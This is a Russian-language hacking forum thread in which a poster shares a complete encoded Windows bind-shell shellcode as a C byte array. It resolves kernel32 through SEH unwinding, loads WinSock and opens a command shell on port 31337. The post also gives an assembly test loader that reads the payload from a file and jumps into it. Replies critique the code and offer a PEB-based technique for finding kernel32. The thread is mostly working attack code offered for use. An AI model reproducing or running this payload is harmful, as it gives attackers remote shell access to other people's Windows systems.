Было очень скучно, написал шеллкод под винду, который динамически получает все адреса и открывает порт.. С метасплоита какието левые шеллкоды, а на милворме таких не видать. Шеллкод: Code: unsigned char gr8code[] = "\x31\xc9\x81\xe9\x28\xfd\xff\xff\xc1\xe9\x02\x89\xe0\x83\xc0\x1b\x81\x30" "\xaa\xbb\xee\xdd\x83\xc0\x04\xe2\xf5\xce\x1a\xee\xdd\xaa\xbb\x6d\xe5\x55" "\x32\x2d\x56\xaa\xce\x19\x56\xe9\xbf\xcb\xdd\x5a\x44\x11\x54\x69\x96\xee" "\xcd\xaa\xbb\x88\x5c\x91\xf6\xb4\xa8\x58\xe8\x06\xdc\xaa\xbb\xee\x1e\xff" "\x32\x0b\x5c\x46\x87\xec\xdd\xaa\x53\xe3\xdd\xaa\xbb\xa2\xb2\xcb\xdf\xa2" "\xb4\xc8\xc9\x8f\xaf\xd3\xfa\xee\x56\xae\x9f\x6d\x19\xae\x53\xe1\xdf\xaa" "\xbb\x67\x58\x6e\x46\x11\x22\x42\xb4\xee\xdd\xaa\xfc\x8b\xa9\xfa\xc9\x81" "\xbe\xeb\xdf\x8a\xaf\xcf\xc8\x9d\xdd\x21\xbf\xca\x5e\x6e\xbf\x06\x37\xab" "\xbb\xee\x54\x2f\x73\x13\x22\x55\x53\xe1\xdd\xaa\xbb\xad\xaf\xcf\xda\x9a" "\xb8\xfa\xc9\x81\xbe\xcf\xc8\x9d\x9c\xaa\xe8\x11\x48\x62\x46\x11\x22\x23" "\x3e\x22\x20\x55\x44\x06\xd6\xaa\xbb\xee\x8a\xd9\x89\xb1\xee\x98\x95\x8a" "\xb1\xc6\xbb\x11\x48\x6e\x46\x11\x22\x23\x3e\x3a\x20\x55\x44\x06\xd6\xaa" "\xbb\xee\x8a\xf9\xfa\xbd\xa9\xcb\xc9\x9a\xa8\xda\xbb\x11\x68\x7e\x46\x11" "\x22\x55\x2e\x26\x20\x55\x44\x67\x58\x72\x46\x11\x22\x42\xbc\xee\xdd\xaa" "\xc8\x81\xbe\xc1\xde\x9a\xdd\x55\x0e\x3a\x20\x55\x44\x11\x48\x62\x46\x11" "\x22\x23\x3e\x32\x20\x55\x44\x06\xd6\xaa\xbb\xee\x8a\xf9\xfa\xbd\xb2\xc9" "\xd0\x8b\xa9\xeb\xbb\x11\x68\x7e\x46\x11\x22\x55\x2e\x26\x20\x55\x44\x67" "\x58\x46\x46\x11\x22\x42\xbe\xee\xdd\xaa\xd9\x87\xb3\xce\xbb\x11\x68\x7e" "\x46\x11\x22\x55\x2e\x26\x20\x55\x44\x67\x58\x4a\x46\x11\x22\x42\xbc\xee" "\xdd\xaa\xd7\x87\xae\xde\xde\x80\xdd\x55\x0e\x3a\x20\x55\x44\x11\x48\x62" "\x46\x11\x22\x23\x3e\x0a\x20\x55\x44\x06\xda\xaa\xbb\xee\xbc\xc9\xd8\x8b" "\xad\xde\xbb\x11\x68\x7e\x46\x11\x22\x55\x2e\x26\x20\x55\x44\x67\x58\x42" "\x46\x11\x22\x27\x3e\x1a\x20\x55\x44\xbe\xb5\xa8\xb9\xee\xdd\x55\x2e\x36" "\x20\x55\x44\x84\xdd\xc0\xbb\x84\xdd\xc0\xbd\x84\xdc\xc0\xb9\x11\x48\x46" "\x46\x11\x22\x29\x43\x11\xd2\x2e\x07\xee\xdd\xaa\x32\x6b\x2d\x57\x44\x11" "\xbb\x6d\xfe\x6c\xdf\xaa\x7c\xab\x5b\xaa\xbb\xee\xdd\xcc\x03\x87\xa7\x2c" "\x7f\x88\x54\xef\x3f\xdf\x1d\x27\xc6\x64\x64\xa8\xbb\xee\xdd\x59\x10\x63" "\x98\x28\xd1\xfe\x8d\x55\x0e\x1e\x20\x55\x44\x11\x48\x4a\x46\x11\x22\xc0" "\xb1\x11\x68\x5a\x46\x11\x22\x55\x2e\x0a\x20\x55\x44\x63\x98\x38\x7c\xab" "\x7f\xba\xbb\xee\xdd\x27\xe6\x4c\x8e\xfa\x44\x5b\x2d\x57\x44\x11\x22\x3f" "\x53\x13\x22\x55\x32\xab\x7b\x27\xc6\x54\x64\xbb\xbb\xee\xdd\x9b\x7b\x1d" "\x76\x6d\xfe\x54\x99\xaa\xbb\xee\x1a\xef\x5d\xef\xdc\xaa\xbb\x88\x1a\xef" "\x51\xee\xdd\x21\xfe\x48\x54\xef\x49\x67\x98\x5c\x32\xab\x27\x27\xfe\x54" "\x50\xf7\x11\xbd\x8d\xc0\xbb\x84\xdd\xc0\xbb\x84\xdc\xc0\xbb\x84\xdd\x42" "\xb3\xee\xdd\xaa\xd8\x83\xb9\x84\xde\x96\xb8\xaa\xd1\xee\x22\x3f\x77\x13" "\x22\x55\x72\x2c\xd9\xaa\xed\xb9\x88\x42\xee\xee\xdd\xaa\xea\xbe\x8e\x23" "\x5e\xed\x86\x96\x38\x2d\xc5\x21\xee\xee\xde\xf9\xdb\x65\x98\xaa\xb8\xac" "\xc1\xfa\x30\xb3\xdd\xa9\xe1\xce\x8e\x21\xf1\xf6\x8c\xe3\x30\x9b\xdd\xa9" "\x8f\x65\x56\xd7\xbf\x65\x90\xa2\xfa\x1d\x7b\x2f\x72\x9a\xda\xf3\x59\x06" "\xec\x6a\x50\xe2\x84\xe3\x30\xaa\xf9\xae\x30\xea\x55\xa9\xfe\xee\x54\x46" "\xe0\x6d\x19\xae\xe2\xb3\x82\xf4\x78\xb9\x8d\x23\x7c\xdf\x1d\x13\x44\x11" "\x22\x55\x49\x40\xf6\x96\x9f\x67\x24\xe3\xe3\xb1\x1e\x69\xbb\xee\xdd"; (пробелы, вставленные форумом, разумеется убрать). Ничего нового=\ Поиск последнего элемента SEH, указывающего внутрь kernel32, получение базы, разбор экспорта, подгрузка WinSock 2.0 и запуск шелла на 31337 порту. Не оптимизировал - вышло многовато.. там есть места, где 5-7 строчек можно заменить двумя-тремя, переписывать влом. Выкладываю для общего образования, для использования стоит оптимизировать хоть немного. Исходник (asm есесно) и бинарник в аттаче Минусы - жрёт много стековой памяти, можно было бы передвинуть ESP на место уже выполненного кода, чтобы хоть немного сэкономить память. ЗЫ. Сори за мой французский, т.е. английский, в комментариях Грамматика храмает ЗЫЫ. Простой тестер: Code: include 'win32ax.inc' .data hm dd ? SHELLCODELENGTH = 0x1000 .code start: sub esp, SHELLCODELENGTH mov edi, esp invoke CreateFile, "win32shellcode.bin", GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 mov esi, eax invoke ReadFile, esi, edi, SHELLCODELENGTH, hm, 0 invoke CloseHandle, esi jmp edi .end start
Код ничего так, только я нашла там много мусора. Например, зачем ты сохраняешь параметры в стеке, передавая их через регистры по fastcall ? Оптимизировать надо тут... ладно, посуду помою - попробую
чего-то я вообще не врулил зачем ты это выложил. и чем это выгоднее чем метасплойт. как написать шеллкот я и так знаю.. ( Great: блин, кез, ну дай повыпендриваться то =\\\\
пизжу. базу кернела получаем вот так: __asm { mov eax, dword ptr fs:[30h] mov eax, dword ptr [eax+0ch] mov esi, dword ptr [eax+1ch] lodsd mov eax, dword ptr [eax+08h] }
sn0w, этот поиск через PEB говорят не пашет на 2000. Поэтому ярешил перестраховаться и сделал раскрутку SEH'а. Побольше весит, но пахать везде должно и е*анутые